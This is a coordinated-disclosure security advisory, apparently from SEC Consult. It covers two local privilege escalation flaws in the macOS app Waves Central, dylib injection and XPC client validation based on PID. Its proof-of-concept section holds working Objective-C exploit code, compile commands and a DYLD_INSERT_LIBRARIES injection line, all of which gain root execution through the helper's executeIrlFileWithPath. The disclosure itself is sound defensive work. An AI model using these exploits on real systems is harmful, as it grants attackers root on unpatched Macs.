## https://sploitus.com/exploit?id=PACKETSTORM:223592
SEC Consult Vulnerability Lab Security Advisory < 20260609-0 >
=======================================================================
title: Multiple Local Privilege Escalation Vulnerabilities
product: Waves Audio - Waves Central
vulnerable version: v13.0.8 - v16.6.0
fixed version: v16.6.2
CVE number: CVE-2026-24064, CVE-2026-24065
impact: high
homepage:https://www.waves.com
found: 2026-01-07
by: Florian Haselsteiner (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"Waves is the world’s leading developer of audio plugins and signal processors
for the professional and consumer electronics audio markets. Heard on hit
records, major motion pictures, and popular video games worldwide, Waves’
cutting-edge software and hardware processors are used in every aspect of
audio production, from tracking to mixing to mastering, broadcast, live sound,
and more. Waves offers Native and SoundGrid audio plugins in VST, TDM, RTAS,
and AU formats for Pro Tools, Logic, Cubase, Ableton and other popular hosts."
Source:https://www.waves.com/about-us
Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately.
SEC Consult highly recommends to perform a thorough security review of the product
conducted by security professionals to identify and resolve potential further
security issues.
Vulnerability overview/description:
-----------------------------------
1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24064)
Waves Central provides a "PrivilegedHelperTool" during installation.
It uses the "InstlHelperApplication" located at the following path
to connect to the privileged helper tool via XPC:
/Applications/Waves\ Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/
It was found that the "InstlHelperApplication" was signed with the
entitlements "com.apple.security.cs.allow-dyld-environment-variables" and
"com.apple.security.cs.disable-library-validation" which together allow to inject
unsigned libraries into the process and therefore inheriting the code signature.
----------------------------------------------------------------------
% codesign -dvv --entitlements - /Applications/Waves\ Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication
Executable=/Applications/Waves Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication
Identifier=com.waves.central.InstlHelperApplication
Format=app bundle with Mach-O universal (x86_64 arm64)
CodeDirectory v=20500 size=1684 flags=0x10000(runtime) hashes=41+7 location=embedded
Signature size=8956
Authority=Developer ID Application: Waves Inc (GT6E3XD798)
Authority=Developer ID Certification Authority
Authority=Apple Root CA
Timestamp=12.02.2023 at 19:37:53
Info.plist entries=32
TeamIdentifier=GT6E3XD798
Runtime Version=11.1.0
Sealed Resources version=2 rules=13 files=5
Internal requirements count=1 size=200
[Dict]
[Key] com.apple.security.inherit
[Value]
[Bool] true
[Key] com.apple.security.network.client
[Value]
[Bool] true
[Key] com.apple.security.network.server
[Value]
[Bool] true
[Key] com.apple.security.files.bookmarks.app-scope
[Value]
[Bool] true
[Key] com.apple.security.cs.disable-library-validation
[Value]
[Bool] true
[Key] com.apple.security.files.bookmarks.document-scope
[Value]
[Bool] true
[Key] com.apple.security.files.user-selected.read-write
[Value]
[Bool] true
[Key] com.apple.security.personal-information.addressbook
[Value]
[Bool] true
[Key] com.apple.security.cs.allow-dyld-environment-variables
[Value]
[Bool] true
[Key] com.apple.security.cs.allow-unsigned-executable-memory
[Value]
[Bool] true
[Key] com.apple.security.cs.disable-executable-page-protection
[Value]
[Bool] true
----------------------------------------------------------------------
By inheriting the code signature an attacker, who injects a malicious
library into the application, is able to abuse the signature of the
InstlHelperApplication to connect to the privileged helper tool via
its exposed mach service "com.waves.central.InstlHelper".
2) Local Privilege Escalation via Insecure XPC Client Validation (CVE-2026-24065)
It was found that the XPC service "com.waves.central.InstlHelper", offered
by the privileged helper, uses the connecting client's PID to check its
code signature. This is insecure and can be attacked using a PID reuse
attack, which will trick the service into thinking the connecting client
has a valid code signature.
Proof of concept:
-----------------
1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24064)
The attacker can abuse the function "executeIrlFileWithPath" offered by
the privileged helper to get code execution as root.
To demonstrate this the following dynamic library has been developed.
After loading the library, "executeIrlFileWithPath" is triggered
to execute /tmp/lol which is basically a shell script:
----------------------------------------------------------------------
#import <Foundation/Foundation.h>
//gcc -dynamiclib name
#include <stdio.h>
@protocol HelperProtocol
- (void)getVersionWithCompletion:(void (^)(id version))completion;
- (void)executeIrlFileWithPath:(NSString *)filePath
homeDir:(NSString *)homeDir
asUser:(id)asUser
completion:(void (^)(id result))completion;
//executeIrlFile(withPath: Swift.String, homeDir: Swift.String, asUser: Swift.String, authData: __C.NSData?, completion: (__C.NSNumber) -> ()) -> ()
@end
__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
NSXPCConnection *conn =
[[NSXPCConnection alloc]
initWithMachServiceName:@"com.waves.central.InstlHelper"
options:NSXPCConnectionPrivileged];
conn.remoteObjectInterface =
[NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
[conn resume];
id<HelperProtocol> proxy =
[conn remoteObjectProxyWithErrorHandler:^(NSError *error) {
NSLog(@"XPC error: %@", error);
}];
[proxy getVersionWithCompletion:^(id version) {
NSLog(@"Version: %@", version);
}];
[proxy executeIrlFileWithPath:@"/tmp/lol"
homeDir:@"/tmp"
asUser:@"root"
completion:^(id result){
NSLog(@"Execution result: %@", result);}];
[[NSRunLoop currentRunLoop] run];
}
----------------------------------------------------------------------
This code can be compiled using the following command:
clang -o waves_exploit.dylib -dynamiclib -framework Foundation waves_exploit.mm
After loading the library, /tmp/lol is created as described above:
cat /tmp/lol
/bin/bash -c "touch /etc/pwnedbytmp"
It can then be loaded into the injectable XPC client InstlHelperApplication:
DYLD_INSERT_LIBRARIES=/Users/user/Desktop/waves_exploit.dylib /Applications/Waves\ Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication
2) Local Privilege Escalation via Insecure XPC Client Validation (CVE-2026-24065)
To exploit this issue an attacker can abuse the insecure client validation via
PID to gain access to the corresponding NSXPC functions via XPC.
The "executeIrlFileWithPath" function can be exploited to gain code execution
as root. The following Objective C PoC code was created:
----------------------------------------------------------------------
#import <Foundation/Foundation.h>
#include <spawn.h>
#include <sys/stat.h>
#define RACE_COUNT 32
#define BINARY "/Applications/Waves Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication"
// allow fork() between exec()
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");
extern char **environ;
@protocol HelperProtocol
- (void)getVersionWithCompletion:(void (^)(id version))completion;
- (void)executeIrlFileWithPath:(NSString *)filePath
homeDir:(NSString *)homeDir
asUser:(id)asUser
completion:(void (^)(id result))completion;
@end
void child() {
// send the XPC messages
NSXPCConnection *conn =
[[NSXPCConnection alloc]
initWithMachServiceName:@"com.waves.central.InstlHelper"
options:NSXPCConnectionPrivileged];
conn.remoteObjectInterface =
[NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
[conn resume];
id<HelperProtocol> proxy =
[conn remoteObjectProxyWithErrorHandler:^(NSError *error) {
NSLog(@"XPC error: %@", error);
}];
[proxy getVersionWithCompletion:^(id version) {
NSLog(@"Version: %@", version);
}];
[proxy executeIrlFileWithPath:@"/tmp/lol"
homeDir:@"/tmp"
asUser:@"root"
completion:^(id result){
NSLog(@"Execution result: %@", result);}];
char target_binary[] = BINARY;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}
bool create_nstasks() {
NSString *exec = [[NSBundle mainBundle] executablePath];
NSTask *processes[RACE_COUNT];
for (int i = 0; i < RACE_COUNT; i++) {
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]];
}
int i = 0;
struct timespec ts = {
.tv_sec = 0,
.tv_nsec = 500 * 1000000,
};
nanosleep(&ts, NULL);
if (++i > 4) {
for (int i = 0; i < RACE_COUNT; i++) {
[processes[i] terminate];
}
return false;
}
return true;
}
int main(int argc, const char * argv[]) {
if(argc > 1) {
// called from the NSTasks
child();
} else {
NSLog(@"Starting the race");
create_nstasks();
}
return 0;
}
----------------------------------------------------------------------
This can be compiled using gcc with the following command:
gcc -o exploit_waves_pid -framework Foundation exploit_pid.m
After creating the file /tmp/lol accordingly the binary can be run and the
helper will execute /tmp/lol as root.
Vulnerable / tested versions:
-----------------------------
The following version has been tested which was the latest version available
at the time of the test:
* 16.1.6.244088
Vendor contact timeline:
------------------------
2026-01-21: Contacting vendor throughhttps://www.waves.com/contact-us
2026-01-22: Response by vendor, stating they will provide PGP keys for encrypted
communication as well as dedicated security email address.
2026-01-27: Asking for the encryption details.
2026-01-28: Vendor provides PGP key.
2026-01-29: Submitting encrypted advisory to vendor.
2026-02-04: Vendor had troubles decrypting the advisory. It was sent unencrypted
upon request.
2026-02-18: Vendor asked for additional information.
2026-02-24: Vendor is resolving the issues and asked for more time before public disclosure.
2026-02-25: Confirming that we will give them more time until 23.4.2026
2026-03-02: Vendor came up with a fixed version in dev.
2026-03-04: Patch has been verified to mitigate the specific attacks.
2026-03-04: Vendor has been notified that the patch mitigates the findings but
submitted further observations to the vendor.
2026-03-05: Vendor is currently working on outstanding items.
2026-03-24: Asking for a status update.
2026-03-29: A fixed version is planned for mid April, vendor requests delay
of publication to 30th April.
2026-04-27: Asking for a status update.
2026-04-29: Vendor informs us that an update is planned for 30th April.
2026-04-30: Asking for affected/fixed versions again. Vendor will provide it and
requests CVSS and CVE text. Sending requested information.
No further response from vendor.
2026-06-01: Asking whether patch has been released & regarding affected versions.
Vendor provides information. Scheduling release for week 24 now.
2026-06-09: Coordinated release of advisory.
Solution:
---------
The vendor provides a patch which can be downloaded from the following URL:
https://www.waves.com/downloads/central
Workaround:
-----------
None
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos business. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your applicationhttps://sec-consult.com/career/
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local officeshttps://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: security-research at sec-consult dot com
Web:https://www.sec-consult.com
Blog:https://blog.sec-consult.com
X:https://x.com/sec_consult
EOF Florian Haselsteiner / @2026